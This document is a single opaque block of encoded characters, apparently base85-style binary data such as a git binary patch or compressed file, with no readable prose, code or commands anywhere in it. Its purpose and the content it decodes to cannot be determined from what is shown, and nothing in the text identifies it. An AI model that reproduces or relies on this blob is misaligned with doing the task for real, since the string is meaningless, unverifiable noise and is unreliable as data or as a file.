zMf1XBH4k02^RjAZ54;r5={(tdiVq!^qfvR)ic1syxi63LxIA+G<#7*$)I8o)s=0Zo zxxZCAo}hNBnd^!Ob2L+9dO83230}`QYcBau^td!_{iVsTE|t2Scu5>c&2<)a_Jp0v zYv=k+O-gKYUf-y^dBwyj#34?fMTU6%^NlT#TEmp`d3aE$<5;EJ?8CFxFD9($64n3J z}5T zQ)@1DD<4sv`SR#FwMCNFdzv~%RJx5gJZlv)#B5}U!&Uy}K+30A>fq;P7dlERFUuVc z(ISfFqcdZOsnJ6iZC z4s*A$arr9zN7(Y2H5cBTP&@Hl?O2G~$qyF}tV8UueU8>2Obd*S&T80mX5H0_%V94G zrmMDjXI}%trJ&uupL|g^eU8>;!iK_U^s$_E59bh#4o(gHiJ!O zf}J^-G3R5Wngg;k%Sk(9b%wPw*4+s)qBkth%tvO%N1BtbYR!&w+qEWjE%b1qtEOrPmoLa`@T$J29>Ra4OaHWslxphq;Bwx5pG!r$U0c(d zhOkU5dny%7zD!7eT8)~UR}@SpmiK}c{aU(HCX80HX|HR5Z> zz!+38*cXB|ZUdS?KoQs_mNoY9?Cvo7#3%W~15q&iM0C3zRUTrp`kN%at|lOyW#xR= z8$1w&!B2!)F;F20g3QE=B`O}L;8BWs#PzQPpNQCtkw-mPAs*V;H+SvkwD}+s;^-HC zBIX?|E-K}bT;C(?Hva8*+9M0 zdlE8)2YHC;#35cE3SDdxagI2I?pkCBhJWkKCT5#?Kh-@R>&zzlx9DZWb{G{&s4B4{ zfm1sis!BkYkH9k!ZGZOf5Vz@FQQCRqLuK!&0al(l3F`?M1Aao{s0GWiVS)8tD4^y- z4g%lcCscxz3j?gqb2N1_}2)V~B)Tm8pKkm8}t^#*?=9>P!PI-U_Ds6d$vZ-f6yLdrq>t0tgkKNC^5 zSl6}fq6IhxdMYIL3Or>GS_~$Q`Hpie&X}r{5 zN3?bm+HYIoIbAr~NQ*WudOrdHDFir?3|OU&IWx?FUzhV#HMsvAa2sjWPONRLKTP}T z7}S)U+eX~Q9~LdhHZnrE`?6kaR{P?hV9EzyE~RX#?`FXcTot+t*62vg(-GU1Zxifr zszP_+6dh4L9myp+;sJe9VM_e|F@HBC5myZar+^3+cW_4+;sNehK!wMZbl^Jb?RTJl29~-K6 zCR9~DRP&)$!hOMIp}K0Jy6Y3)sztwD-=%t%9%!h3Tvq+*%<`wG9Nz|F2+}>;pmRDi7;5xRv7{?~N)~al`)!*N2<|>k@IxLLUeA2 z80`+xuZ649%2j2os`86g9nVd$D*06c2a#1#Z-w=@s#{U`szTpkt4boRO4oqADr0ZP zs*L6L6%`vyXe~VM>`h!%gYB`1t%MmG1axcF&OhR+kh@wSWYgF$2W?HVv&TBdrp=6s z)g-QL>xC&(`^Xu=zy4!#(F8et$JoM|)`^7iLWy$(TIBHC8U$^ltmF$vo#q`b&u>pF zUn4dpB}6s2g-W>cVto6V$@My=>A_ChDunC=gc=DTr#4h)ll6@t1;JMuI3-`Dt+uTj{drfdfXbF5wOIWkF?0Giji0sjsyn%$B0XBYuV=}=KppE;< zVY_1jZCsPSuHZ{v!YgEV;5TrOubmGbk~ax69BdfN!?H#*&-)OD>0cYOmE`_xN)@_~X}RdglGynZWk(Dul-et=O_ad#XDA_`Q6|J@TV9iA!cB66QK! zA{o*;1PKFOSm8fM`->VrP+v8TJCCp9oFz)}5$NMPbv)A}kJn2x<$bppuX3ve!K7Qm4NjD3PS?rYa?|S?}itqJ# zKX!0GHXK2S z9sKcUIb%nvuz7r`YD3S0KQ^OtI!j+Po*@K*;dCyk7f;Xb8)#0=%knyuG)A}ZNoGGk z!SI5;@;N&#R37_Hl%lHQUa*%>(xoO=Oa)oaeeTHFETDE>uW^UoW5X!}YYQw#jIf+3 zQu^s<^)9p17W46#w*Jn?FFP6zrvK{p@11%B2MSWS)^oZmrnqGo%MFM+g9H{BARSKj zA0Xdc#zG7hAiunvzrWH`;R-uNmCnJ+hY811%(ZL&EQaY495-7}ZLHeUqkr zQpWt!&z|*ccVjhSkf6p_xxWVqtGR@*YU#9C7PLMMvzzR1qtuUJN{&xv41D>iv z6$In_N_AM|jd(5qaDk_AQ_uUkJK?c_B)dTt8R4crT{32EW@O$lc5t`jCC{-kgn{ia?41*qWl=!I z6BSnF)RRH(yA3$V-Sag*v8lL(U})RWlE6stC=+r<+su5DUD9S<@04WEHg_^{Hwh!h3y0e-INdG{vXijSG=O0#5& z`%{~wi(8yMc~AGu$K3|5AFPVt%YbX3MqS^Ca}B_x_okIFOmnup?G6j514ZNIZ1)p! zHK2nWq6_pjWfsi+MlrEpo5_E(>MR@IZ0@EoT^~zB?myF2+IFyyM+jVXl3thMH-|8P zt>*3+9)Hr_e>mYzsMFvGPH`LA?tKseH*HKYTtJiXB9te{7Q(`QngCwcjXN)O@&*6u zIf(hDiWki!lt3)D2>g}B7Fl1EO3L6bMFoA$9LaW{v<|oX($8n>8`E1~qIGKjV;L^M z$CB`pn);fb2Q4I_<>F`=x91XuGBA6#N%51TY0}v#gIPzHmAv2(O#R?12ME6L+X2D% z37;g%IgdC{@)^txbk3B7wtX%KDIr?nY>G8CI>sx(Vy!ha3-C&uvup^w5>l!Hr{q%3 zU@&FSn`6uXQzk?aA~0orvE;Ha%(b9dItxLTj8g4KV9ENJK&~{#kYU`;H$T9TfguUJ zAE`Q(9Dh_$lvNkeE_5zUT}H7B!EL5*;gYZpV=-aj(oymmu$UaVGl?wb0T)-kgmr`p z9kNHO^l*YOMhqhe_43$Zor*ww+53LLWuHFIZrKyLn9F|0A!z^N>G6F(whIzM5NX*Y zlqa}i8rOsutMJSSvqR>HFob95WpVY_U}leT6Ok29Zy$;kW9!0t1Q!;Y8Fhv$l5Jhc zd^}bc{%ap!b1*oaCi-KY2w+S+>i@uakB@tAyvlAp6uWY!^+k5R#EcJ^Rasx;D*gPF z=<6gm0y!>-@pvr93_sGeh zgYzf@1Y?xS$rm?+8ZFs#1ttVgE48A8=VGhMz>f!vjXO?7w5Hum{$VLKuO_;qLs2%q{AsvELP|qF5gy10vaJQTLepnLS z4QBj0cS6QzkwQ^t@R~NgDqtAzti8)S3Bg+^4#WLwN!#IxUZ^ zcy;^GU7~l=tGgP6kYWsjBFq{FgCdqIrVD7Zv!)8laG58hL}L5+{BNMxujd5y(Nezs zbFm2c=;I2{>k2=2LPm^$FZ$x$b$BTPxwDsp6qC%yV{m7X$J+uRZ?I^c3PZIRo4>#E zmEhsU>xLfq2H82weH2#UJ4pEo>U3+p6~=7pZW1XoB}YF!o;}UL$6ztA1#>rAtE`|; zWUEgRf<7naP@l(hv#pzl`*;nq9G@rgLnOqO9nH+1bSQ45iGNhJ4771au7hAa7LaAk;}ICDl{rc(i zBP%@F#|e~<9E2_e8H&lMVjPHy(_#@tf3|TYmLHER#XJFZ?%Kn_7V{nd@?>ulXrOqt z^!H9;VkY5WF#V+jupsEPc)a5Dp#>I5tDQS;@cC2W(t&mu9)MDq2cS&XOdM$<$;R`^ zu4$n0sc<-+&-U@a%UolY-2w;G)K(P?!#g}WOkM8ySE0$FM1HoZOp1Wv`AzEG4ID+- zl}OCTV;KJbsmH?-A=SWeGw1`+Wcp2m{Wr}U4*Ka9krhaSg~t*zG!QJs1bH2qZVb51 zB(^Q~SH`m^woxonEZAm!fq+2!+AK=F$gNYPvxi2qxXVo!2;e=RGaP(pvHEj-5Zly` zQs%|EzpdF<7YH77l9N@OL8Q$4BD*BZz%On`S&H!9_I$S}8?dBngExuAjc1&*RB zG~Z$PmdOKS_;x6K8_NI3K{jllWCt3jaQ+{j*+Je+ig<3_H%&-*;Z+c%q^i!kv!(Kx z(;qTj_%~1A`XWAk$lkHp0}MK_vfR?61->1(D>B;BIW(KUQ?B6+EhIy17_Uq?27S*1 zdeO!oHK`tuOfwRs%-hILo&@vc>ppERzAn#FvBrx0M~$ROq6C7R!!M)_Kcl zBt0b)^kjnRsaa(JJ;4?|O0_#qI<}-i(lL;qE$Jx5Bpr>p{sh2sLTlP_HXwq;g(v^m zF12D{V2Sw}f@#3xpY>=IC)ce#6SZlYbEsK(%<8$bj%t3ls{GU?TscnNO)%MS(YAIj zwYaL=?GGbMOPTe4>1$`BJ^G*?5m7=`GSOxgtx$2XOPRvbz!;MgkR2F~93 zHD(#W7RkvWpx^OP^Q9wTbF8kITV2+#nV(m_taFFp3760X^*Z}jRMt=zzIe+2`4c!A zkA!W6V?n25{#b?A{br z1HFn4H6krQ+xc^|@@Gfq`z)Aobl=1?`3t9HL|z~NX@{Vb^!Su%To17R%UPgB^ke9$ zw;JFy-&0oOY=XLRur=kyss-wgbOmGVmmNL3???L5-#Y{=Z^JgZW1z|NfbUElDPWCS z`4W=(Vm2OkIi_(1!O1@^siFL>ljr@^0%pHte2M^@*{5;3;omfQ3(ou7B;4dRK4ncB*sr>TD9z$)tbEUWF5JNNXWYm#C^3*z7|?;1>q z@C7|+R4bpUR^B&Ux-KTnYkwqIZGeTV{Q(QV?yz){kxiK{z|KlfuEkv}s4*+|x49)d z7X!>a%f(K&n+O1@pL`oE<>$c0cD zTSI+~=E5&8<@Z<86|S&b!v%Z|esjv-T(vM+Yq|Sn7Kjuk{!J*oLXE9eC#9n~vl@D~)CcN^Z>L&~0KD z43-N$NzeVg*V0K|)=m%h+^+%+^ba+N=8>dY40!B~UiJ}7P3jL&_*Z{^6x8@Jci@Pz zi*u1Io{7huZ#enFVfCB=X9FTeE*>$YWm9Gdl=Gh7id{Fj1RBJ@=dZ4XuxomK`f1ZU;e(CSMf==?|*=b(F zjj4HSiZEa|PtE)BY#71X#c+g@gd4l*Xb`3|>9;9&XY9x!O$QjlptB)EGGU)56NZsG z{#zzL)R{uQ45qkw$@ zz)XFx0Qe7@yfuZ!@A#K*@{de5vnRnUewSjN)Vg8la+g%+UADSp1rp42edqniWD`fo zo=fw2A~m43LGYm@eH7#gP3DG`wH}}jzGN^6vSGB=G^ycO+rLsnH$3i^i~bfC@4PFf zlBxrZ4qHQHg|A*?=52Pl4)icH+%lfSi57LHTtD45a^QSHO1-y#+vs&BiLvv6s57_^ zL{{9>Yb+hwbbt>GIve1?w+Rj`=3+c0HTujz4h*BjqTg~NOa;ySd4P|fui_qeW9bQY z3Iaz-thl9lx}5slb{P58g+4Krm`@+7y7nlI-byO{>AjoqvOue!RWIC>#JzeBT5R)C zRWbBB;qXI`vv3K&ZB%gd`gY!HIa9q8IAH+byGv> zwj+b&1Q}!}xWLV_O>9!MIzQs-i>Y;f8xfugP81eR7|8}F1=jD0SSDC2$ugHyS(b@S z3alTGky(Y0}vgWhbyoJ}i&@RD5VW9tqHpQl*1?)@P@9ag ze`7FAn=HK0wtJX1St3oVAD&GPZ&OO2*YC)9Tr6#isyLPYsTLuCs~f0+G*)~8PHzsS zhULWa%fDm|Z&&)xYf#J2x^Ostc=ly$|Asz1BL*Xsu?-X}yV`|8l9kLTVZ@gQ+P?ea z?8~CA%kP8WLdpuIY5x!=Xkiu~ZIUFbU zhGUzG`W^L7@%Aa`D1&+ayKFEFJ&_dn63KyY&wM=am9&||fk>WjPY!(bc;GW!ULJMb z_T2{5^WSYC1U?4Y_u9vd&mBwTAHp*q6seY52iwYRLc|p0HW9>NytEF+<0ZYCuGO4H zeT^nD>R3_|)0&JYF+S&bkCb9nbZd%K*=~(3R2#bg+=J|Y7E~K4iPe*n7}Llgz>0%A z3DkxrF>nb5O=7@?7)h*{S|;@_+hNbwN62OZXTOgg7qvg)W)i9p#Q>YRXP;us&N7d* zw7bF0eyVf@FprIVCWo6c!T|x)QFr7@<*03yD&!;O0C9%OqHEqje?3xRe;6 z!3}sZDakXV6!bTV@Bp6zZBmrt9wbT?*tJ^?>TkVK3RHs!)7sDBC72g{bV_J&KCO_ei|XcS>vK z*i2U1M!P7EP{HYwUDx6VL=MdJoA0ZZ%u0MHR0g;MXDn0ISm#AJ&8I+$sOr9~u_hx( z!2@M!PZ$67sc%B?AcdaySOnMckEK`pYE5P;44#S=sis;7(@?-t=Man_78cM^z=4h- z+#QnEWn@NghS~XS}X4d#tHD{t$Z3A)>3Fxq_+NPpoheB7cHmkiS-BRku z&eRrpGO!0UwKpN<=J~cV1nkk*)R;&Q>s_#SFX6?&_`nj+eC$8CZfM3>KXS!MPf=@yK}(`-TD}g1l<+G;|{GJt?nPONG+Mk%h zzf?@0Oj6;UDPfWjP1U8~!Rb-M*^j@{zvHY&pEL=#pnPL;0!5&Kp~psLo^deJS1g;qTP5VNGdTf zu8)lNA=W#kC!(j4>K$8 zy)Sa6?zkZtn$n_UWAqJ?J>t_hB<~Rdiz1y{3Wo%Xm}m;yqmJ6XVv-pMnu2@8#Gn{- zr8y_Yq>wPE7J@$CI`=a9_M@6S1`6LCBW zWgO$#83ikron46AQm|uub(zFqc5Zk8xAUnV>1%$O=Mj|%j4hAMIp{MKf$>6xWpGiF zh$6U+CHqrEHLeJWhw^8?X9bfK5lmDBG^OaNtOULzGP!uSZITgc=1E2*GiR!8=1*%r zTYlqudUPwQZctz%$D$1Lt8TDka?mizft-`2-(imA96$v|lGVVp2TToVDO*g-qhgVm zLIpJiiY|LO6xc}JS}5O9OGh~r=sbj&(m(amSF9iEC6fS3?b^*1oa3({F=a4NS}qZ8 zO9rJ#1;9#9G`w&qGAOT$v>miULkkCbRdd$R3kSeGz_p}o8D2Ro`L$~Y&G}wTN-0tg zcP~7J97Oe7Z$P2)K??_TYx~k;q^(8hF~D@BwC{!U!}q9fcj225EFxgtg)%jd{F^^& zvMT{%nXDx&0s69*eM%dw4hy$n6(CY-vnqFDYQ`>s>^0_nn=3!4MWMHcwq5NA12jJ>) z@QQUJ^zzq$bpQl5;Hvht|t_HIYrQQAEkAb{6!1zS#*@hP;geC z;%I(G!EFX0v#x4jCM1x`Jo3OmDkMgQNi`kc5C{Y%iEv?J_~@$w4h9X6sesb8=%~vy zWgN)$z4Q^Lg)!sUr4Os7X9;blCHUz@-%B6N!}P}`#S}$w#IL>lOE_{8SKVMcll?(N zMrVSV3wmsQ7rrMLg&^R4by#wT?AbY=fVG+0Hwg{Ju$cmBCSYL#=E)kw1pV-$pe7mQ z_@)3dqqqXFMjQ&+{1fmV1Zf+Wt8z+ObfWbaQxPL$!5n5FfG|h;sEdHI5-AYaA#q^n zVhE+q5@RxhOlHSugA$S1A(LFz)b7Ze0j+w>6Qj}_*_Au`(4468_z;ns;?I$V3SaU?^zuunSHQ&jwgC2eEkQTLq*>#nOmXKwp=8#UO_< zmxJ`Bi~m-9{h(Jycr18HIokYz(oVk8Etv$`39IbS_2tGE4tgj-ZMWg;O7cKA z2M}&}7-gYxCN+pL3;j`pnbQ4=nK91IFfqS&8_h1cFl4k$=`g}*m?>!D1>v;Ksplig zU+4~Grtr$0G{F?$<6UNKM${%e7GWS+V9yQ*dwyF}weFNt4e((=Tbsfl7DOU02eu&1 zJ9zoy`R(4TmQn(>4#XrgD*H3Me^6{(Jae?23c@{)rkVp%GIM>ig#toK`g}%wmU%=W zv5s&=;bRMX{S+#VkzPOWnbhkyCLZtgORK}k%thZ=rwvdm#}p1DJ)C?T22Bnh#e#ArxL%B_k- zNJ;RSKuTIcosMPP(1QhAbQ;z$dMlQ=#l_THv4n=v-W+v`Dfb}9r^zlZEd?+xXr<@s z`>a3HKu)hPAt_>jhVFvUG%PQR#J#L&H_bXxidgodaUJHIXLV;yry_ZZHZER@n5VV{ z*KwUQCDK(aEN+ft@sq{;@KFfMWqbh$y(v$7E-=qIx==91=rG=z6jwMY|<8yIR;Y##{k!o zGR+(bg<8|h$rZc2Qldvn3EF(4HI(L?#A_*} zW9`A3Z(`)~4E}-Un;4%01L9dL0On}(4GWkvDMbj(>mp-X3k^u!CxS@#2}>-ENo~bf zeORbpM4!@X?oK4phIC>9DLz1^;Xn~Zzwk<*r#Qy$VfPU$kH|bI)4ap(>&*Te?CX7a z&c07)+8XwCzauhXW#=N;J)KE0VPCg95`V3Xc%6{Djxl@kF94#A1;1~LSo!LBt zJ-y^`JnV5~H<_FB@TXfImN65;28hjGVlO6yR1DHJk7!7lwoO}>)ynP|@~v|Uz|i*)WrQxzw_i4VYU zNsWa+cO}&|-+4XbRSBDnLbcjAG(X~3aSSe(aqCt)bwItaB`MwiL!J8s$G@I|TTtL9 zvMzz&yE;;%RHMPT*?9)M(;)u_0C33@mxXM;eaAq2{3mlMry?HVR+T&8*RhVl--6Ou z9bDcM=@u!)xVkK=9+|M-5%@h-wffSAh=()p-uLJ`F<#IsZ#X50@uG+Y(fQP_-z`9h zdU7o$RF<^VlOEJ)YUwmh0ACFd@&|7+#f6+ZKy%&=(46N!37g;7g$uu$2RRuo5T2?| zoS(G<_$3?cVl``aYc=rM<^42GaGEBG3vo-iN#!}uDn+uuaa((n7r35R7t5(WGi)-3RQT`l>S zKp6twC5~O8#T0!Hw7!9XU?U+m(Dw?vy>fY=S;~~Jia3yu8P%OM5Y?SAkOuuwvj2Ko zR!EGw4p9N+pbeV1r}t>7^V?VQRbM=y7OuO^*7(}1EY0@aROcn2mq6qEWcYJkCIax@ z`ZX2Yd`kGR<^s%cE~RUIkN~kB3v}S;&Q^inE~^a{0r@&pl=1eA$)S2BA-1V5+JI8? z8!MDAs`tKhs)e0QSc<@A+WCmB;AhK5!5^CPJqb$Ya}l}NJ2Z5>^sPKw!5N=Kc&^BG zor5cP?&Fistck2@E(D})uYp>rfiph4v5c2`tg-Tzv(g5CpfUzoJym`m=xHrcrP%}{ zgMe09(jedutU>72%tV9?LjAuoNC`KlE^Hv0z0RM!#0QdvT1;VoA3%=0F z25r@!L4!73mO-;xt_gl%d|?QFAP>8ny@>7udvg16AJ9|78qKEwSPvca)F7i(5yfr* zH>{eBYoeF$XT?w~RBa$=f)#a~r{GbC<{TfBQfz=I5S}5T3Iu;(DUfv{Lzo++?FmbQ zb7KyI?NWb(!1K)k2Fa(E*|K_P@lmROQSY~3Ax4n)WNv0Cn6Tx;^DNfs03j66!SN?4 z6vU{oLP1?*0~|=q00{*hVn`?eead{GPnjw9A-(EDzhVIM5X4quAq5Ll*xX=~GH9bl z!W2AR!spiB`0W=6DQ`kBmq@nRN0n!tU*H}AqLL=rxi#?!BIB7tUtgXTg8ChJCLX3z z;N=KyKn*a(_VfGh?^nzY5rffW2tCnYg-N5CV9TnII2fMCC4_y4VBDSpseuNM; zJMagVZByS*fCG6G{jT)HE3$1%GaLxBZOyJlVJ_1)qk{lC4IKphfi=jBw-d~2Pf3#o zktPpA5SZzG3MORMoI)cA3>YLY)tZb)5WcQh*yN240+KpD z2rGgx=Z4`Hg?{D+3lv-oLm^CX0O!VP499&N1Pml7!U&Sc$DEr@1-OU<8k}8>mJ=uE zVtWh$Z{_gSGxOV%1(`7+XWQ27ENZ(IUsnR4Aqg=dGtPtPcdeko3AigLbuf3u#9+5B z=qDzL5#6;fs$g~nBcX(ZD*6j00j-7FqzKeElyr#Up(Lf<3bOgg+y)DCymwd45S2pqLTzkU+ChHRJx_WuiZ)$!F_VzH#~_^8vsmA zChh|ObNXhb^AQ1nhb7>0YxonMIPPU^Ea)w;V~9QA$voUso?O}fOVM~kFfFr@fHK?j!zJdo<7$KQ5FhVk9=6ngg2W;eieWVcw$@F>Gp) zQ@H+=Itr&o8MzUk+UnrCb#4?fT!s}KUxr|lTM1(7uf=e3KC7wtC>l~GDu*&+YCiSG-qE@9IjcRv2{|592E_}M_MH^x z#YYkQrh}7Se0rFZ+v9j4>bmy3?D^n!2IA!4XNa&D?_s3_O#FN1w;dB?=ASJ2`T+k-1#EiL;P^}f^b$&VaZ!Ex7V0=^Z8o-qq#MMA0kt@tH zO}bE1@r5>Pav_{SE`&2qunOT~>417LkR}?Z>@^8-3bF_Gns_k$-ynadx&UYJpt$#P zJ}a05Ql}4R0O<)ADK2IffOr?&xHVi(16&!gJhem0Qx;5S*5{a*M@o?@4P1gl#0II) z&uTTN1ELtmtys;EhxC3(fWCtaMgsho4&o!%c)wUx7_v>niu@&QvG$6j?eEJ@fS)B~ z@hr=~JiE{qJLI?oXr?;92~dbgXMml*z)jlu3k1@{Oc4qZ0~tsr%c-QmkA}-wD1;a! zcozks+=Hm(|G$M;@x_4G88F{7fxFhAd{OUfHi*b#Fv^tqLI)gJfZ9Ze$QQw4MX0w} z0i@Lb1_51Uf1A1hI|O)au>0_>5%?&BqP+`kU}NCBDTanDFb@XrrjQ?|KmKnJ0uCEI zd<{!op<0gt+H0_XSyxV{w(HoEM zU!x~BeJp9)3tAxw=RQ7W^#r)f5|i76i)l4~q_*!RpW^V5t9d@WnlDx@w*l{d*o32G zw7Le_h%zpa!EhSwqsYUq=H`!}+ZK=EUR?`7>oZ#Ffj{(?dWxXbn*f`1hn4Ut?WVAO z7IpqXsxVmID8BbC2}FRXi2y{G&i0j{8%2geHrXn7!OTsY7 z!4I>6oTvdR*m9I7VcG!3B(plMkwGZ^QNq0hw1bsG0AR<%{hJFwcRwySC?!nolJ#`C zx}HcQf_~-oBy$6QV6nC4`Py(GqP2l^?@uIBdk;W+`B!)V3f~X_-eG`<8DHqbzxq$c z`PcuXx%Doo_uvOE3G$S+;ovF`o^-(xHgfROD`sfQP#_f3FVYsT3!mbHicOhHV4{1) zz-2;A?@%nMMBBJN99$+uMvEqjLEJTEDpP^h6`x&yiPe>NSn~nOFO48p{hs=mbZ(T$ zUBfs+hG#R$V>t|fmaWX{YEf8taT3e3>H;)D;B5f z-~<^LgNczCTnt7D(pB!>EaJhyw5JTbeo!n5b#}2RQduAt#o~j8x}sbId_^sV*osnW z(G{hTIYB!Hj|e%zm}?l9>a`i?5z%O$0$z4rKi3ny2ttL*Sdh(GnFqe>!GdJ?7Do^l z)LO8LN>%~|R|3B>ri2l zP{p1c@^5~n*}juXBC!W-UVvQ^>jU6GNbiC*pScc!9Ac5!%$|n_XEPu46+`t0vnBJe zKN)6AdbOuk^D6?GKx%n$2(ELepaC7ofb4qk>JX^Uon647w5$i<}pGDuUi} zq)r+nPR^I9@g&E|J^>FoaB{xup$J~$#Tta%_T$wx<+$tos|)BJ%(>l@%&s)2_A|GD z@ksK6BrN9wrazQCZ_1*yTT`6nko*ri2@DY8A3GNX8HC9bV!+A2xmdH^8Z`wreJl)9 z$O_3JngY6~z$cW1);%0VAO}`WMY}#t2i(SwcQ#{jWkFfiu`XF1i&2<{y`}6oYA=!Y{6M? zH0bpN5Dgv!SCBH#=O11);Al>#wC|vhq5*{rf+;u%o~}$A7brD)BMyRB17=um6CoNv zs+bATu|~7RCh!)g9VkGTGbI7^2GB>=i-b!nGyxFi=d3=90Ab)N9Q{F)UPJ>kE7U;E zS=3XFFANe6q&-vo*o6bu(J=FD96K7;be0ZFA)SrGt0p9HkDQJ3o7J8j^lThCfbVAz zEo6|sbCdkKPbN(9T*L%3V(Z7Ci9x!>RMVNX9&{*p)Qz6?pMpXp<6(auD*WQ@FuMbs z4L87hgai^Cwl9;+jak@X<_3H7od1EN{(c5h_$LSI+Z@ohb5PEdea+d200!9%X(wO- z%-$Bod^;0c*dz_Q=ZFx!`j;KjV#KV9%QJf$Phs~@zx{)tdw>8%`gZ^9R&Y*4+X+bB zKfMQ`%#(hs3n8U_H+(e&5`AGK5*ipmhZCzXWOZXBg(1?J)EgM%(imcJNm1a{7)1u) zMGZtTL2(JvlF%-MzH=L_3xU}wP8;J2;3XfEn#yC{&#`3UwQsUE6j7`gpv@WQb69grVTfUK z>wO&rORU=yZOggK(ThnED<}YyIKYNNVk}_TC7|1i@H@)NJ2Nb(Tj#FuX2` zMo5%8Yk-5Xqt1Gx5V$|uTSz*6I2Qr(^04v3Gr#s>W`89(5W8+DXx8RBxLNx*KhtbC zMN1SpQ)0EsibBjzEi4L2xAdKxj~RPp@-Ld(5F+F=_#RwR%pyie%u^Kz!Dj>WT?)h~ z(ia2yY{vCg)y#YcE)ouibHfJdCAT%`zaJN?D%k`F5ZUd%?FQs|~ zby8Q!2?9>ai_tnnYBk!!myfp^Ia)PgU2ry}E;yV1y5RD|Fc1SnTXI4h)&(bru##09 zmlIgY-oj?QmM+GE!lKKBugkF~$Idd?gcW+hO%?E&(5cuPu}?9{JQ%SVWS#<%%mY;` z_)Kc>^V-bnqH?Ul8vFvUp-T(AMpzo`paXwk0aWpD*9P!&GF5L01TDBmU8UO(9o$P# zf}-_1Mo&tdLg`7#Q$%`_6b?5yzfgCgTTZnm+z|^}S=~FH+3=MMfuigqU|AK;ohH)NKfI;+wjy zKjg#|gQVk@{=^gzvA)RZm43%g@TM;$R1S!o01H;UJHR?o8wE}fjS=Sd4-SGL&VZ;` zZMKLL4#LFV7zT81d6m+>6U{7grtC9IfJC_V(5veNkFVg@42mIfM${L$s&a=2fEca| z>djv02!lSoIv$E5@C?3UoCF<_8)JYq3>fsr7<#4`pV(B4T(biBl>M2WqVe*8p|tY!YX6cUfv zckeQP#R*Z@zj6>zF80^*NA5^tBn`kcD!YcT&N|;^gI^>tMcLmWwP*BY@!&07lwR$< zmdm(#^EZ-f=<)Zds%H2D6NDY|G3x`a5d<&nQ!x02CFE9AKXl|^nBP(isY6>W|jW&Qc zQJ^$H|D`swLdQz&{=~qW-U$^tqyc)1i+*n=4^~`&3)U&5t_k5$$cY=PW@a8dLRRq& zxXzt#Kq|Eb5iwXUpodz0Z*$WT8UO-Hw4Nsqg5GTc2!O(*zD=T+9tF9%klMbRkemD7 zm3cy85E<}Nj?B>%0c9F^w;Kyh_f1RS%01@FiTRZNS`%IKeF+rj%De`SUf+j#Y;C6e z%_@4{6&w$fz7Jk#Q91_$m@)c-PqJEnn>#wiuf*|XyEfX~@Ot!iOGch3Ji~c^dhf5D z69Qj(&#sq+$eh3~Fvq}-7W<3=?$py`SCZ-}@H?3-SRZx9RzF=H{8lN8+wHpx%oi(Q zyTIL;b>g=<_>s)s_<-y}H?8<%V(sP9Jpw&qB46pR;@|x|!tKdB!u$4HJ)Pv2q7v6z zCeF7q&$0hpzi81jr(ZSCU37gKzNzwZ*9-U5Cgf?UEp(W_zUJ{}8A`po%9e-){_VS$ z9?drS9hLlJi(}B%EupJkiJn*Yykc z_$TE${Qh6@ttt=hsvp0yS-_h*FGf~eQhk-EShPAl|IUF0^Fo_8WKk0M$LKx z;#1~rF84A2nZIQUEkP{BQqM~~Qg(qt=q4+jpX%}X!IQm$^KU1J)~lb=(K+H8-e58N zKv_+P{}|_uuhrMQdV4S3|3Fd(zs*Idl9^Sn#dy^>Sm|E%dYm7XuwYc^tpqU}^+)+Z zUS8SDmvH8`F7Wa`b0s3?BxkiX{5~yVaQ7WYsK)b zh2Kx-k3Pd@YrkH<%3-ND8QU0xXB-Ex?@Jj?8Ej)rm>aW}^H6=AdrS!rEs>w?&a}Hw zRD``)hC1(up2nw0ALYSTGZJ47{QeUINw>jP!;P;7`+khkh{0Af2{$tdH}HL0;z+iO z0cJLDBjyLt%(lSqr|jk)%*-?bS!NawzwcByiD+gn4-0;|=EZI8&oD!fe`c5v%1 zy#4$3(5+kc=)LUQzr*wzwFWWo2CiAnt3+Wi!IU_q9K;eUcCiHWRpx4-uY%QB={Xe) zb2SBUa>Mi0AuPt6g8HgfWCeYgzDfrfX>eav!L6J6Twd$6?bV6HvTj?W5#$5-UzM2X{57VTe2mAWZ4)1~86#x6C*6U%wzjw;0dVLhU0yG+rDsZVAXjZJc^ z-_B(?VtHg@=B2aywJd?|r`SEGTF+R|OSJ+;dr(yN{eMH)B8`_g);63o#_hO}FOY+5U(1sM06) zv78ca*9%K_sXZH+xqZ}|truTqR`d9mEB@X${mSCM*eS4n@!Y+~cEye`zmrk9t9eSc zt#If4aaPyZt!W z>BG~VwVF%0loqbOz2L)^SdKSt=eP6uanYYnjipR|svpa1&9(f=q@s@9u%&q8OG(O~kpTYb46+ojGZOkoI77lb%ROV#6{3V$aJ1F>04n-s}^Jwodz`chsiX$z$&09VW*!8SlE#w_u zl^os7VN}D(R&l=yOGb5BLaWZzO~;(*X4A1F^jc2YLN3eOcI^GGR|NRof3--(;+c;0 z+Bvd?>jqJo`ScyaPkKWYP}vYf?5Cqz9#o_ua>*J^5OWrexq6%7s0U0o+HQ6}5!OCt zkT6B^ZRZpE?PG@LL;uAhTVHIp6?Zm7&RC2qMmjVW&MnJ{`4c^Atut&E~1K zxvib68xR=rnvnDRNx{nEOc9WRZ9=tk)dK>(|0lviN&jMvd1M}XU#ecdO5B-im`1=A z-7Lg5P(#dO8Hi^%-ew`$T!&oc!SbjZo=4^2_sdtYOII+Fv`pzIkq9N^I}9^vgYN@P zu+5Di(IL>FujaaRquY9}cs@cvbL&i(nXaP&430dO%}B>5pG4NyM>Pb-ryS1~V~@5u zuIsVT_C5Ih_VLRi*#N&S(c4BJ(2pCZ|Kv@J-{W&-@cZAES4Rz&8@DjhsaeJ18;;Ar z$sBlRF^CMB9EKzUl0)w>AO-)8BHGNwfKfVXWSR>ss>26c|G!5>8K2mUY8lyF3(LU4 zCid?YsaR}sWJWcQY%c#GGeft3NFreSk;M#Ql>dqRdo>2O-*HB@xNNS$Ft>jQBILd7 zBT^T>JFC2$>VTG`D?3+oj|04e!Kf}>EE4j%85EXk(}Dt0RFnn_*Di!g?mtBYB(1KT zIX`}trm9#>>8-V{^S>?KLJNvdQLz|oP0Snusg!?%2q+xim2N2qscIGbnUM;|p@@Kd ziY#Ubqx4C^f!-;@&D#G#B1qj_9_W^W!W|{OJuacN?=htiY)msXR02&mPstX5sE2^-sn@P|>Svbf|QH5Py508vUobvxf{?jxDw*PIZasW6|KtW5N z<3IBD4?%>m{Y@RaI`8$gcVt|o)#cD!x_|X_Hz}n!*`;=7_+AWf{nhrF=GsyD*Tokr zI+HHvxOQepxwaKF^fU;kbhX;1c71NO{Z-!4uKlaLyIiTKD7Cxu-o?MZ=D2oLDfN7F 